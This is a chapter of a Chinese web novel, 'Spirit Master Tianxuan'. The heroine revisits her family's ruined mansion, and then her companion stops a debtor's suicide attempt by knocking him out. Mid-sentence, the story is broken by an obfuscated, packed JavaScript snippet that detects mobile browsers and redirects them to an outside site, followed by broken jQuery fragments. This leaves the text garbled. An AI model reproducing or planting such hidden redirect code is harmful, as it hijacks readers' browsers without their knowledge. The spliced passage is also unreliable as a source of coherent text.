20. 斗鸡逗人(一)

作品:《灵师天璇

    荒废破败的乔府毫无生气。


    乔天璇凭着记忆一路走向了自己儿时住过的那个房间。


    “云天,你要去哪儿?”花蕊跟在乔天璇的身后,满脸疑惑。


    “……”


    乔天璇不愿让身后的陈渊龙知晓自己就是乔天璇,便没有直接说她想看看自己曾经住过的房间,而是道:“我想去看看昔日乔家大小姐所住的房间。”


    花蕊兴奋道:“你知道乔家大小姐的房间在哪儿?”


    “看整个乔府的布局就能知道哪个是乔家大小姐所住的房间了。”乔天璇脚下步子很快,她其实挺想知道过了这么多年之后自己曾经住过的房间现在情况如何了。


    不一会儿,乔天璇就在一大片断壁残垣中来到了自己昔日的住处外面。


    也不知淮南乔氏当年在被灭门时到底发生了什么,府中尸骨无存,房屋倒的倒,塌的塌,越往里走就越乱,一眼望去一片狼藉,没有一处好地方。


    至于乔家大小姐的住处,那更是连房顶都不翼而飞,瓦砾满地,满目疮痍。


    看着眼前的景象,乔天璇平静道:“还行吧。”


    “啊?就、就这个地方?!”花蕊被眼前的画面给惊到了。


    如今,无论是谁来都已经完全看不出乔家大小姐当年所住的房间是如何模样了。


    “唉,乔家大小姐啊……”乔天璇暗暗叨念着,心中无奈道:“不过是一枚被利用的棋子罢了。”


    一直跟在花蕊身后的祝源四处张望着眼前已然倒塌多年的乔府,不禁叹息一声:“可惜可惜,断壁残垣诉春秋,行客只叹时倥偬。”


    花蕊:“……”


    乔天璇步入眼前可勉强落脚的地方,偏头望向了昔日挂着鹦鹉笼子的地方,见那处地方此时空空如也,既没有鹦鹉,也没有笼子,更没有昔年常伴自己身旁的姑姐乔悦儿和一直保护自己的护卫凌风。


    毫无疑问,淮南乔氏灭门之时这两个人也死了。


    想到了乔悦儿和凌风,乔天璇的心不由得沉了沉,脚下步步靠近已经完全没有房间样子了的房间。


    身后几人也跟着乔天璇一起步入了其中。


    走进四面无墙,房上无顶的“房间”中后,乔天璇慢慢步至当年她用来存放衣衫的箱子旁。


    箱子所在的位置倒是没变,只不过没了房顶的遮蔽,箱子经过多年的风吹日晒雨淋后早已变得又脏又破,腐败不堪,光是看起来便让乔天璇连碰都不愿碰一下,更别说去打开这箱子了。


    但乔天璇即便不去打开这箱子也知道这箱子的最底层仍旧存放着她六岁那会儿刚从山村来到乔府时穿着的那套打补丁的破衣烂衫。


    那套衣衫与当时富贵繁荣的乔府格格不入,却阴差阳错与如今的乔府变成了相同的风格。


    辉煌的覆灭让曾经难以融入其中的东西如今变得身处其中再合适不过,当真是世事难料。


    乔天璇不愿再看,转身想要离开此处,却见陈渊龙漆黑的双眸此刻正盯着自己。


    陈渊龙的眼神并没有让乔天璇感到冰冷和不适,反而让乔天璇从中感觉到了些许陈渊龙似是想要安慰她的情绪。


    啧,谁想要你的安慰?


    乔天璇把目光移到了一旁的洛侠身上,却见洛侠在面对此地的景象时神情露出了少见的不安。


    “看来师父不喜欢这个地方,那我们就不在此地多作逗留了。”


    说罢,乔天璇走到了洛侠身旁,一把拉住洛侠的手,毫不犹豫地带着他往外走去。


    “走啦,全是废墟,没什么好看的。”花蕊也转身离了去。


    “阿蕊等我!”祝源连忙走到了花蕊身旁。


    乔天璇知道陈渊龙一定会跟在最后面,她便没有回头去看,免得再与他对上眼。


    很快,一行人走出了乔府遗址,回到了热闹的大街上。


    乔天璇此时的心绪还停留在早已亡故的乔悦儿与凌风身上,周遭虽然热闹,但她却只觉得心中郁闷,怎么也高兴不起来。


    “哇噻!快去河边瞧瞧!有人要跳河自尽!”


    “我知道!是刚刚那个和雷家大公子斗鸡斗输了之后被雷家大公子惩罚裸奔的人!”


    “他应该是觉得太丢人了,所以打算去死。”


    “大男人裸就裸了,他害什么羞啊?”


    “大概是脸皮薄吧?”


    “他那个大块头的皮还能薄?开什么玩笑?!”


    “哎呀不管了,咱们到河边看看热闹去!走快点儿说不定还能赶得上看他跳河的一个好位置呢!”


    “没错!走走走走走!”


    听到街上百姓们的议论声,乔天璇立马回想起了不久前看到的那个裸奔男子。


    花蕊道:“不是吧?他刚刚不是还在众人面前不穿衣服跑得挺欢的吗?怎么现在突然就要自杀了啊?”


    祝源道:“我要是他,我在斗鸡输给了雷家大公子之后就直接自杀,免得裸奔丢人。”


    “不行!怎能就这么把命都给不要了呢?我们得去救他!”花蕊当即跟上了大街上往裸奔男子跳河的位置赶去的百姓们身后。


    “玉心!”乔天璇连忙跟上。


    对于救人一事,乔天璇倒是知道无论有没有报酬,只要能救得了,花蕊都愿意去救。


    一行人很快就齐齐来到了一处河边。


    方才裸奔的男子这会儿已经把衣服给穿上了。


    他双手捂脸,满脸通红,一对粗粗的麻花辫垂在壮硕且微微发颤的前胸,口中不断地发出悲伤的呜咽声。


    围在河边的百姓有的在大声劝他不要轻生,有的则在让他想跳就赶紧跳,不要耽误了大家的时间。


    花蕊凭着自己力气大,硬是挤到了那即将要跳河自尽的男子身后,大喊道:“兄台!不要跳啊!快想想人生的美好!你这一跳,就再也感受不到这一切的美好了!”


    “……美好?哪里美好了?这个操蛋的世界简直烂透了!”男子悲痛道:“我完了,我完蛋了!”


    “完什么蛋啊?你还这么年轻,来日方长嘛!”花蕊努力又朝男子靠近了一些。


    百姓们为了看男子跳河,河边的哪一处都挤得不得了,人满为患,令乔天璇感到十分窒息。


    乔天璇是真不知花蕊浑身上下得有多么大的力气才能让她那么轻松就挤到了人群前面的位置。


    自己拼尽了全力才得以在人群中缓慢地朝花蕊的方向挪近了些许。


    可花蕊现在又朝男子靠近了一些,那就意味着自己也相应的离花蕊远了一些。


    “真是的,她怎么一天天使不完的牛劲儿……”乔天璇艰难地往前一点一点挤着。


    陈渊龙和洛侠则挤在乔天璇的后面,面对拥挤的人群也是无能为力。


    祝源则根本就挤不进人群中,只能在最外面的地方找了个高点的地方站了上去,焦急地看着眼前乱哄哄的场面。


    “再见了,人间。再见了,我一切的痛苦。”


    说完,男子放下了捂脸的双手,闭上了流泪的双眼,准备朝着身前的河流一跃而下。


    “咚!!!”


    巨大的声响从男子头上传来。


    乔天璇顿时停下了往前挤的动作。


    在所有人的注视下,花蕊猛地一拳将男子重重击晕在地,及时阻止了男子想要跳河自尽的念头。


    “好好活着,不许死!”阿蕊蹲下身子,抬手轻轻甩了男子一个嘴巴子。


    男子已然被花蕊给打昏过去,完全感受不到花蕊的巴掌。又或者是花蕊的这个巴掌对于花蕊来说挺轻的,但对于被打的男子来说可就不一定是这个感觉了。也许这个巴掌会让男子昏迷得更加彻底。


    围在河边的人们见男子已经没了想要继续跳河的迹象,再看到他身旁那个不知力气究竟有多大的少女,纷纷对其退避三舍,满眼失望地离了去。


    “啧啧,散了散了,没热闹看了!”


    “别打那个黄毛丫头的主意了,她一拳就能打昏一个壮汉,简直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025595|194382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要命啊……”


    “都怪她,要不然就能看人跳河自尽了。”


    “算了,要是真的跳了,说不定马上就有人下水去救的。毕竟阿华可是欠了好多钱的,他要是死了,谁来还他债主的钱?”


    “就是,追债的人都踏破他家的门了,真是惨哟……”


    听着身旁经过的一个个人说着的一句句话,乔天璇感到方才拥挤的那种感觉在逐渐消失。


    她心中好奇,当即一把抓住了经过她身旁的一个男人的手臂,问道:“兄台,请问你知道阿华的家住哪儿吗?你知道他欠谁的钱吗?”


    男人看了乔天璇一眼,顿时眼前一亮,另一只手自顾自地握上了乔天璇另一只手的手掌,欣喜道:“姑娘,阿华家住青竹街十二号,我带你去,他欠钱的事情我跟你在路上说好吗?”


    乔天璇慌忙松开了她抓着男人手臂的手,摇头道:“不必不必,我就是问一下而已,多谢你了。”


    可男人另一只握着乔天璇手掌的手却握得更紧了。他满脸高兴道:“没事儿,姑娘,我们……”


    “把手拿开,别碰她。”


    洛侠的声音从男人的身后传来。


    听到洛侠的声音,男人赶紧松开了握着乔天璇手掌的手。


    他小心翼翼地转头看向了洛侠,见洛侠比他高,看起来也不好惹,赶忙后退着离开,慌乱道:“对不起对不起,是我冒犯了,多有得罪。”


    但男人没后退几步就撞到了陈渊龙的身上。


    男人转头一瞧,见陈渊龙也比他高,而且陈渊龙的脸色和眼神比起洛侠的要更加阴沉可怕。尤其是陈渊龙那双漆黑的眸子,莫名给他一种毛骨悚然,白日见鬼了的感觉。


    “对对对对对、对不起对不起对、对不起!”男人不由得浑身一抖,说话都不利索了,慌慌张张转身就跑,估计是腿脚有些发软,差点平地摔了一跤。


    陈渊龙冷着脸瞟了一眼差点摔跤的男人,目光落到了乔天璇的身上。


    乔天璇松了一口气。


    在仙落岛上住久了,她差点忘了仙落岛外面的男人有不少都喜欢对陌生女子揩油。


    陈渊龙快步来到了乔天璇跟前,他的目光落到了乔天璇刚刚被那个男人握过的手掌上,忽地猛一转头,满眼杀气地望向了男人这会儿已经跑远了的背影。


    若是眼神能够杀人,乔天璇估计此刻的陈渊龙已经把那个男人给碎尸万段了。


    祝源从他所站的高地下了来,一路小跑到了花蕊身旁。


    花蕊已经站起了身,她满脸无奈,居高临下地看着河岸边还在昏迷中的阿华。


    “阿蕊,你的手没事吧?打人没有把手给打疼吧?”祝源心疼地捧起了花蕊方才用来打阿华的手,对着花蕊的手轻轻吹了吹气,仿佛是想要把他觉得疼的感觉给全部吹走。


    “没事没事,我的拳头可是铁做的。”花蕊无所谓地挥了挥她的另一只手,信心满满。


    不多时,人群彻底散去,只剩下乔天璇一行人和昏倒在河岸边的阿华。


    “我们把阿华带回青竹街十二号吧,那里是他的家。”乔天璇望向了河岸边昏迷着的阿华。


    洛侠道:“好。”


    “嗯。”陈渊龙点了点头。


    花蕊道:“怎么带他走?谁背他啊?”


    祝源道:“我背上背着箱笼,没有空余的地方来背人了。”


    洛侠看向了陈渊龙,道:“我们一人搀着阿华的一条胳膊,一起带他回家吧?”


    “……”


    陈渊龙的目光在洛侠和阿华的身上来回看了一下,似是想答应,却又不知碍于什么,愣是没把答应的话给说出口来。


    乔天璇轻轻一笑,道:“太子殿下,劳烦你了。要不然我就得跟我的师父一人搀着阿华的一条胳膊,一起把他带回家了。”


    闻言,陈渊龙许是想到了乔天璇和洛侠齐心协力一起办事,而自己则在一旁插不上手的画面,顿时醋意横生,当即道:“不用,我来。”